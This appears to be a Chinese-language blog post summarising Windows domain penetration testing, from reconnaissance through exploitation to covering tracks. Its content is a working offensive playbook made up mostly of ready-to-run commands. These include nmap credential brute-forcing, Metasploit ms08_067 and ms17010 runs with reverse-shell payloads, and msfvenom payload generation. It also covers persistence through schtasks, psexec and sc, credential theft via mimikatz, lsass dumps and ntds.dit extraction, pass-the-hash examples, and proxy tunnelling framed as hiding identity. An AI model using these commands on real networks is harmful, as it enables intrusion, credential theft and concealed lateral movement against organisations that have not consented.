域滲透總結
學習並做了一段時間域網絡滲透,給我直觀的感受就是思路問題和耐心,這個不像技術研究,需要對一個點進行研究,而是遇到問題后要從多個方面思考,尋找"捷徑"思路,只要思路正確,有足夠有耐心,總會有所突破。現在將自己遇到的技術點及相關知識做一個總結,不足之處,請批評指正。
-----一只萌新
域環境搭建不再詳述,參考:
> AD域環境的搭建 基於Server 2008 R2: http://www.it165.net/os/html/201306/5493.html
> Acitve Directory 域環境的搭建: http://blog.sina.com.cn/s/blog_6ce0f2c901014okt.html
在實際網絡滲透中,最重要的還是信息搜集,其中包括公開信息和部分敏感信息,信息獲取的越多,勝面就越大。
1、信息搜集
nmap掃描
nmap.exe -F 192.168.1.5
nmap.exe --script-smb-os-discover.nse
namp.exe --script=vuln 127.0.0.1 用來掃描目標主機是否有可檢測漏洞,不過現在的nmap 缺少最新的漏洞檢測腳本,所以只能檢測到永恆之藍和ms08067
nmap -p3306 --script=mysql-empty-password.nse 192.168.1.4 掃描mysql root空口令
nmap -p1433 --script=ms-sql-brute --script-args=userdb=/var/passwd,passdb=/var/passwd 192.168.137.4 猜解mssql用戶名和密碼
nmap --script=smb-enum-users 192.168.1.9 對192.168.1.9這台機器進行掃描,同時對smb的用戶進行枚舉。
whatweb
檢測web指紋,輔助尋找可利用漏洞
whatweb url
whatweb --input-file=/root/desktop/url.txt
敏感目錄掃描
wwwscan網站目錄后台發現
dirsearch.py -u www.example.com -e *
公開敏感信息搜集
googlehack
給關鍵詞加上半角引號實現精確搜索,不進行分詞
谷歌搜索中限定搜索網頁或文檔標題的語法是:intitle或allintitle。allintitle是intitle的變體,相當於在各個搜索詞前加上intitle。二者差別不明顯,我們一般直接用intitle。intitle:“WSO 2.4”
谷歌搜索中限定搜索網頁或文檔正文的語法是:intext或allintext。intitle:“index” intext:“Login to the Administrative Interface”
從網站的URL入手挖掘信息 inurl:phpmyadmin/index.php & (intext:username & password & “Welcome to”)
搜索文件類型 filetype:txt
域登錄日志&遠程登錄日志
域日志位置
C:\Windows\System32\winevt\Logs\Security.evtx 服務器登錄日志 登錄事件ID 4624,可判別出登錄域控制器的機器
c:\windows\system32\winevt\logs\*.remote* 遠程登錄日志
主機遠程登錄日志
HKCU\Software\Microsoft\Terminal Server Client\Servers
HKCU\Software\Microsoft\Terminal Server Client\Default
域內信息獲取
拿到域網絡后第一件事情就是收集域信息_
ipconfig /all ------ 查詢本機IP段,所在域等
net user ------ 本機用戶列表
net localhroup administrators ------ 本機管理員[通常含有域用戶]
net user /domain ------ 查詢域用戶
net group /domain ------ 查詢域里面的工作組
net group “domain admins” /domain ------ 查詢域管理員用戶組
net localgroup administrators /domain ------ 登錄本機的域管理員
net localgroup administrators workgroup\user001 /add ------域用戶添加到本機
net group “domain controllers” /domain ------ 查看域控制器(如果有多台)
net time /domain ------ 判斷主域,主域服務器都做時間服務器
net config workstation ------ 當前登錄域
net session ------ 查看當前會話
net use \ip\ipc$ pawword /user:username ------ 建立IPC會話[空連接-***]
net share ------ 查看SMB指向的路徑[即共享]
net view ------ 查詢同一域內機器列表
net view \ip ------ 查詢某IP共享
net view /domain ------ 查詢域列表
net view /domain:domainname ------ 查看workgroup域中計算機列表
net start ------ 查看當前運行的服務
net accounts ------ 查看本地密碼策略
net accounts /domain ------ 查看域密碼策略
nbtstat –A ip ------netbios 查詢
netstat –an/ano/anb ------ 網絡連接查詢
route print ------ 路由表
dsquery computer ----- finds computers in the directory.
dsquery contact ----- finds contacts in thedirectory.
dsquery subnet ----- finds subnets in thedirectory.
dsquery group ----- finds groups in thedirectory.
dsquery ou ----- finds organizationalunits in the directory.
dsquery site ----- finds sites in thedirectory.
dsquery server ----- finds domain controllers inthe directory.
dsquery user ----- finds users in thedirectory.
dsquery quota ----- finds quota specificationsin the directory.
dsquery partition ----- finds partitions in thedirectory.
dsquery * ----- finds any object inthe directory by using a generic LDAP query.
dsquery server –domain Yahoo.com | dsget server–dnsname –site —搜索域內域控制器的DNS主機名和站點名
dsquery computer domainroot –name -xp –limit 10----- 搜索域內以-xp結尾的機器10台
dsquery user domainroot –name admin -limit ---- 搜索域內以admin開頭的用戶10個
tasklist /V ----- 查看進程[顯示對應用戶]
tasklist /S ip /U domain\username /P /V ----- 查看遠程計算機進程列表
qprocess * ----- 類似tasklist
qprocess /SERVER:IP ----- 遠程查看計算機進程列表
nslookup –qt-MX Yahoo.com ----- 查看郵件服務器
whoami /all ----- 查詢當前用戶權限等
set ----- 查看系統環境變量
systeminfo ----- 查看系統信息
qwinsta ----- 查看登錄情況
qwinsta /SERVER:IP ----- 查看遠程登錄情況
fsutil fsinfo drives ----- 查看所有盤符
gpupdate /force ----- 更新域策略
wmic bios ----- 查看bios信息
wmic qfe ----- 查看補丁信息
wmic qfe get hotfixid ----- 查看補丁-Patch號
wmic startup ----- 查看啟動項
wmic service ----- 查看服務
wmic os ----- 查看OS信息
wmic process get caption,executablepath,commandline
wmic process call create “process_name” (executes a program)
wmic process where name=”process_name” call terminate (terminates program)
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size,
volumeserialnumber (hard drive information)
wmic useraccount (usernames, sid, and various security related goodies)
wmic useraccount get /ALL
wmic share get /ALL (you can use ? for gets help ! )
wmic startup list full (this can be a huge list!!!)
wmic /node:“hostname” bios get serialnumber (this can be great for finding warranty info about target)
瀏覽器密碼、歷史記錄
firefox
%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\logins.json
%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\key3.db
%appdata%\Roaming\Mozilla\Firefox\Profiles\*.defualt\place.sqlite
取上述三個文件導入到對應版本firefox的文件夾中,即可讀取密碼和歷史記錄
最近使用文件
%userprofile%\AppData\Roaming\Microsoft\Windows\Recent\
其他敏感信息
USB存儲信息
HKLM\SYSTEM\CurrentControlSet\Enum\USB
HKLM\SYSTEM\CurrentControlSet\Enum\USBSTOR
putty日志
HKEY_CURRENT_USER\Software\SimonTatham\PuTTY
Radmin安裝位置,文件夾下會有日志
C:\Program Files\Radmin
c:\windows\system32\Rserver30
端口(常見數據庫&服務http://cert.sjtu.edu.cn/doc/linux/ch-ports.html)
sqlserver默認端口號為:1433
mysql 默認端口號為:3306
oracle 默認端口號為:1521
HTTP協議代理服務器常用端口號:80/8080/3128/8081/9098
SOCKS代理協議服務器常用端口號:1080
Telnet(遠程登錄)協議代理服務器常用端口號:23
FTP(文件傳輸)協議代理服務器常用端口號:21
POP3 Post Office Protocol(E-mail),默認端口號為110/tcp
JBOSS,默認端口號為8080
TOMCAT,默認端口號為8080
webshpere管理工具,默認端口號9090
SSH(安全登錄)、SCP(文件傳輸)、端口號重定向,默認的端口號為22/tcp
自啟動位置
HKEY_CURRENT_USER\Software\Microsoft*\Windows\CurrentVersion*\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices
2、漏洞攻擊
ms08067
流程
use exploit/windows/smb/ms08_067_netapi
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 127.0.0.1
set RHOST 127.0.0.1
show target
set target *
exploit
利用metasploit攻擊(ms08_067_netapi),具體的攻擊過程很簡單,show options看一下就可以了,這里要說的是攻擊過程中目標網絡有防火牆限制,不讓反彈連接,使用reverse_tcp不成功,可以嘗試使用bind_tcp監聽式的payload。
ms17010
msfvenom -p windows/meterpreter/reverse_tcp LHOST=你的IP LPORT=6666 -f exe > /var/www/html/6666.exe
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
show options
set LHOST 127.0.0.1
set RHOST 127.0.0.1
exploit
為了提高滲透效率,可以用一些ms17010的批量掃描工具,網上一堆,不過注意安全
公開漏洞搜集、組合利用
Drupal 7(8) - CVE-2018-7600(RCE)
PHPMailer 代碼執行漏洞(CVE-2016-10033)
CVE-2018-4878 Flash(http://blog.51cto.com/chenxinjie/2093653)
CVE-2018-8174 “雙殺”0day漏洞復現(https://www.freebuf.com/vuls/173727.html)
Tomcat遠程代碼執行漏洞(CVE-2017-12615)
3、木馬控制
常見的木馬技術:內存型木馬、實體木馬、shellcode木馬,具體的技術都夠仔細研究好久了,在這兒不詳述,滲透過程中要針對特定環境進行最優選擇。
4、持久化駐留
后門技術
ICMP后門,網上有公開的代碼,主要利用了ICMP協議進行后門激活和命令執行,可繞過防火牆限制。
https://blog.csdn.net/qq_20307987/article/details/84612699
計划任務
at \\192.168.200.100 15:00 c:\hack.bat
psexec
psexec針對遠程建立連接的認證方式有兩種,一種先建立ipc連接,然后直接用psexec \192.168.200.100 cmd命令開啟一個半交互式的cmdshell,另一種是在psexec的參數中指定賬號密碼。
參數:
-s 參數用來以system權限執行
–accepteula 繞過第一次運行的彈窗
-c <[路徑]文件名>:拷貝文件到遠程機器並運行(注意:運行結束后文件會自動刪除)
-d 不等待程序執行完就返回
psexec \\192.168.1.2 c:\hack.bat
系統自帶遠程管理 winrs
winrs -r:192.168.1.100 -u:administrator -p:pwd ipconfig
schtasks
schtasks /create /tn mytask /tr F:\Desktop.exe /sc minute /mo 1 每分運行1次
/RU 可以以 system 啟動,例如
schtasks /Create /TN test /SC DAILY /ST 00:09 /TR notepad.exe /RU SYSTEM
schtasks /create /tn mytask /tr “C:\procdump64.exe -accepteula -ma lsass.exe lsass.dmp” /sc minute /mo 2
schtasks /Query /TN mytask
net time
schtasks /Delete /TN mytask /F
wmiexec
半交互模式:
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 username password
單個命令執行的模式:
cscript.exe wmiexec.vbs /cmd 192.168.1.1 username password "command"
如果有時候我們抓取到的是hash,破解不了時可以利用WCE的hash注入,然后再執行WMIEXEC(不提供賬號密碼)就可以了。
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
wce -s [hash]
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1
- 1
- 2
- 3
sc創建服務運行
1、系統權限(其中test為服務名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定用戶權限啟動
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
5、提權
windows提權輔助工具,原理主要通過 systeminfo 補丁信息比對漏洞庫, 工具鏈接
https://github.com/GDSSecurity/Windows-Exploit-Suggester/
linux 提權輔助
https://github.com/jondonas/linux-exploit-suggester-2
windows-kernel-exploits Windows 平台提權漏洞集合
https://github.com/SecWiki/windows-kernel-exploits
linux-kernel-exploits Linux 平台提權漏洞集合
https://github.com/SecWiki/linux-kernel-exploits
ms14068
https://www.freebuf.com/vuls/56081.html 詳細分析
cve-2018-8120
https://github.com/alpha1ab/CVE-2018-8120
cve-2017-0213
https://github.com/WindowsExploits/Exploits/tree/master/CVE-2017-0213
6、密碼獲取
內存口令Mimikatz(最新版已支持win10)
https://github.com/gentilkiwi/mimikatz/releases
如果網絡中用戶或者管理員在已控制主機上登錄過,並且主機沒有重啟,那么一般可以使用mimikatz在該機器上抓取到明文口令。當然,現在工具可能被查殺了,不過還是有一些如getpass之類的工具可以繞過,原理其實是一樣的,都是從 lsass中獲取當前處於Active系統的登錄密碼, lsass是微軟Windows系統的安全機制它主要用於本地安全和登陸策略,通常我們在登陸系統時輸入密碼之后,密碼便會儲存在 lsass內存中,經過其 wdigest 和 tspkg 兩個模塊調用后,對其使用可逆的算法進行加密並存儲在內存之中, 而mimikatz正是通過對lsass的逆算獲取到明文密碼。
首先看一下mimikatz的命令有那些,順便給大佬遞個茶~

使用指令privilege::debug , 進入debug模式

sekurlsa::logonPasswords就是抓取登錄密碼

同樣mimikatz還有憑據注入的功能,具體可以結合ms14068看看
SAM文件破解
有的時候內存中沒有存儲明文口令,導致抓內存的方法是不可行的,那么可以換個思路尋找本地用戶的Hash,導出方法為:
reg save hklm\system c:\users\test\Desktop\sys.dat
reg save hklm\sam c:\users\test\Desktop\sam.dat
然后將sam.dat和sys.dat兩個文件導入到軟件saminside中,就可以讀到用戶的NTHash,然后通過cmd破解網站破解即可。
dump lasses.exe進程內存離線破解
1.對於NT6的系統可以直接使用windows自帶的功能dump lsass.exe內存。通過打開任務管理器,右鍵lsass.exe進程,創建轉儲文件,若成功可生成lsass.DMP文件,將其拷貝到mimikatz文件目錄下。
對於NT5 系統可以使用微軟的Procdump工具
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
2.使用mimikatz中sekurlsa::minidump功能導入dmp文件,進而獲取密碼

鍵盤記錄
這個就不多說了,一般的鍵盤記錄功能都可以清楚記錄用戶操作,其中包含各種網站、設備、軟件登錄口令~~~
域控服務器hash導出
Ntdsutil.exe是一個為 Active Directory 提供管理設施的命令行工具。可使用Ntdsutil.exe 執行Active Directory的數據庫維護,管理和控制單個主機操作,創建應用程序目錄分區,以及刪除由未使用Active Directory安裝向導 (DCPromo.exe)成功降級的域控制器留下的元數據。Ntdsutil還可以用來獲取域控數據庫ntds.dit文件,具體命令如下:
(1)創建快照
ntdsutil snapshot "activate instance ntds" create quit quit
(2)Ntdsutil掛載活動目錄的快照
ntdsutil snapshot "mount {GUID}" quit quit
{GUID}為動態獲取的
(3)復制快照的本地磁盤
copy MOUNT_POINT\windows\NTDS\ntds.dit c:\ntds.dit
(4)卸載快照
ntdsutil snapshot "unmount {GUID}" quit quit
(5)刪除快照
ntdsutil snapshot "delete {GUID}" quit quit
使用命令“QuarksPwDump.exe --dump-hash-domain --ntds-file c:\ntds.dit”將導出的ntds.dit文件中哈希值全導出
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
Quarks PwDump https://blog.quarkslab.com/quarks-pwdump.html
Pass the Hash
在Windows系統中,通常會使用NTLM身份認證
NTLM認證不使用明文口令,而是使用口令加密后的hash值,hash值由系統API生成(例如LsaLogonUser)
hash分為LM hash和NT hash,如果密碼長度大於15,那么無法生成LM hash。從Windows Vista和Windows Server 2008開始,微軟默認禁用LM hash
如果攻擊者獲得了hash,就能夠在身份驗證的時候模擬該用戶(即跳過調用API生成hash的過程)
wmiexec
參考地址:
https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
exe版本下載地址:
https://github.com/maaaaz/impacket-examples-windows
注:
wmiexec.py的注釋中提示"Main advantage here is it runs under the user (has to be Admin) account",經實際測試普通用戶權限即可
參數實例:
wmiexec -hashes 00000000000000000000000000000000:7ECFFFF0C3548187607A14BAD0F88BB1 TEST/administrator@192.168.10.1 "whoami"
- 1
wmiexec.py的hash參數格式為LMHASH:NTHASH,由於該Hash來自於Server 2008,系統默認不支持LM hash,所以LM hash可以設定為任意值
powershell
參考地址:
https://github.com/Kevin-Robertson/Invoke-TheHash/
支持多種方式
Invoke-WMIExec:
參數實例:
Invoke-WMIExec -Target 192.168.1.1 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
- 1
Invoke-SMBExec:
支持SMB1, SMB2 (2.1), and SMB signing
參數實例:
Invoke-SMBExec -Target 192.168.0.2 -Domain test.local -Username test1 -Hash 7ECFFFF0C3548187607A14BAD0F88BB1 -Command "calc.exe" -verbose
- 1
通過在目標主機創建服務執行命令,所以權限為system
Invoke-SMBClient:支持SMB1, SMB2 (2.1), and SMB signing
如果只有SMB文件共享的權限,沒有遠程執行權限,可以使用該腳本
支持的功能包括列舉目錄、上傳文件、下載文件、刪除文件(具體權限取決於該口令hash的權限)
7、掛代理隱蔽身份
proxychains
ProxyChains是Linux和其他Unices下的代理工具。 它可以使任何程序通過代理上網, 允許TCP和DNS通過代理隧道, 支持HTTP、 SOCKS4和SOCKS5類型的代理服務器, 並且可配置多個代理。ProxyChains 的配置文件位於 /etc/proxychains.conf ,打開后你需要在末尾添加你使用的代理
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
# example
socks5 127.0.0.1 8888
OK,基礎的配置到這里就搞定了。除此之外,這個文件里還用一堆可選的配置供你調整,自己去看啦。
ProxyChains 的使用方式非常簡單,直接在應用程序前加上 proxychains 即可。例如:
proxychains wget https://github.com/haad/proxychains/archive/proxychains-4.2.0.tar.gz
也可以用proxyChains打開一個bash終端,就不用每次都輸入proxychains了
proxy bash 打開一個終端,里面執行的下載等命令都是通過代理流量走
SSH 端口轉發
ssh -C -f -N -g -L listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -R listen_port:DST_Host:DST_port user@Tunnel_Host
ssh -C -f -N -g -D listen_port user@Tunnel_Host
- 1
- 2
- 3
參數說明
-L port:host:hostport
將本地機(客戶機)的某個端口轉發到遠端指定機器的指定端口. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 同時遠程主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有 root 才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport
-R port:host:hostport
將遠程主機(服務器)的某個端口轉發到本地端指定機器的指定端口. 工作原理是這樣的, 遠程主機上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉向出去, 同時本地主機和 host 的 hostport 端口建立連接. 可以在配置文件中指定端口的轉發. 只有用 root 登錄遠程主機才能轉發特權端口. IPv6 地址用另一種格式說明: port/host/hostport
-D port
指定一個本地機器 "動態的"應用程序端口轉發. 工作原理是這樣的, 本地機器上分配了一個 socket 偵聽 port 端口, 一旦這個端口上有了連接, 該連接就經過安全通道轉發出去, 根據應用程序的協議可以判斷出遠程主機將和哪里連接. 目前支持 SOCKS4 協議, 將充當 SOCKS4 服務器. 只有 root 才能轉發特權端口. 可以在配置文件中指定動態端口的轉發.
C Enable compression.
壓縮數據傳輸。
-N Do not execute a shell or command.
不執行腳本或命令,通常與-f連用。
-g Allow remote hosts to connect to forwarded ports.
在-L/-R/-D參數中,允許遠程主機連接到建立的轉發的端口,如果不加這個參數,只允許本地主機建立連接。
栗子:
ssh -C -f -N -g -L 443:192.168.1.3:443 root@192.168.1.2
假設A機ip為192.168.1.1,在A機上執行上述命令,則表示通過192.168.1.2代理轉發,訪問192.168.1.1的443端口,即可訪問192.168.1.3的443端口。
ssh -C -f -N -g -R 443:192.168.1.3:443 root@192.168.1.2
在192.168.1.2上開啟443端口監聽,若有連接到192.168.1.2的443端口的數據,全部轉發到192.168.1.3的443端口。
ssh -C -f -N -g -D 1080 root@192.168.1.2
在本地執行,監聽1080端口,若有數據到達本地1080端口,則通過192.168.1.2轉發出去
EarthWorm
參數說明:
-h 查看幫助
-s 指定鏈路狀態(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、 lcx_tran)
ssocksd:正向socks5代理連接;
rcsocks、rssocks:反向socks5代理連接;
lcx_slave、lcx_listen:端口轉發;
lcx_tran:端口映射;
-l 開放指定端口監聽;
-d 指定轉發或反彈的主機地址;
-e 指定轉發或反彈的主機端口;
-f 指定連接或映射的主機地址;
-g 指定連接或映射的主機端口;
-t 設置超時時間,默認為10000毫秒,即10秒(單位毫秒,-h顯示有誤);
-v 顯示版本;
-a 顯示關於頁面;
netsh
Netsh是一種命令行實用程序,可用來顯示與修改當前正在運行的計算機的網絡配置,用於端口轉發功能代碼(可以創建任意數量的Windows端口轉發規則。所有netsh interface portproxy規則都是持久性的,並會在Windows系統重啟后被保存):
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
listenaddress – 等待連接的本地IP地址。
listenport – 本地偵聽TCP端口。
connectaddress – 將傳入連接重定向到本地或遠程IP地址(或DNS名稱)
connectport – 一個TCP端口,來自listenport的連接會被轉發到該端口
顯示系統中的轉發規則列表
netsh interface portproxy show all
清除所有當前的端口轉發規則
netsh interface portproxy reset
刪除指定的端口轉發規則
netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
socat
socat是一個多功能的網絡工具,名字來由是” SOcket CAT”,因此可以看出它基於socket,能夠折騰socket相關的無數事情。轉發命令:
socat -d -d -lf /var/log/socat.log TCP4-LISTEN:15000,reuseaddr,fork,su=nobody TCP4:server.wesnoth.org:15000
“-d -d -lf /var/log/socat.log”是參數,前面兩個連續的-d -d代表調試信息的輸出級別,-lf則指定輸出信息的保存文件。
“TCP4-LISTEN:15000,reuseaddr,fork,su=nobody”是一號地址,代表在15000端口上進行TCP4協議的監聽,復用綁定的IP,每次又連接到來就fork復制一個進程進行處理,同時將執行用戶設置為nobody用戶。
“TCP4:server.wesnoth.org:15000″是二號地址,代表將socat監聽到的任何請求,轉發到server.wesnoth.org:15000上去。
上面這個是命令全一些的,其實有一些沒必要加,精簡版如下:
socat TCP4-LISTEN:188,reuseaddr,fork TCP4:192.168.1.22:123
參考鏈接:
https://blog.csdn.net/a351945755/article/details/21785647
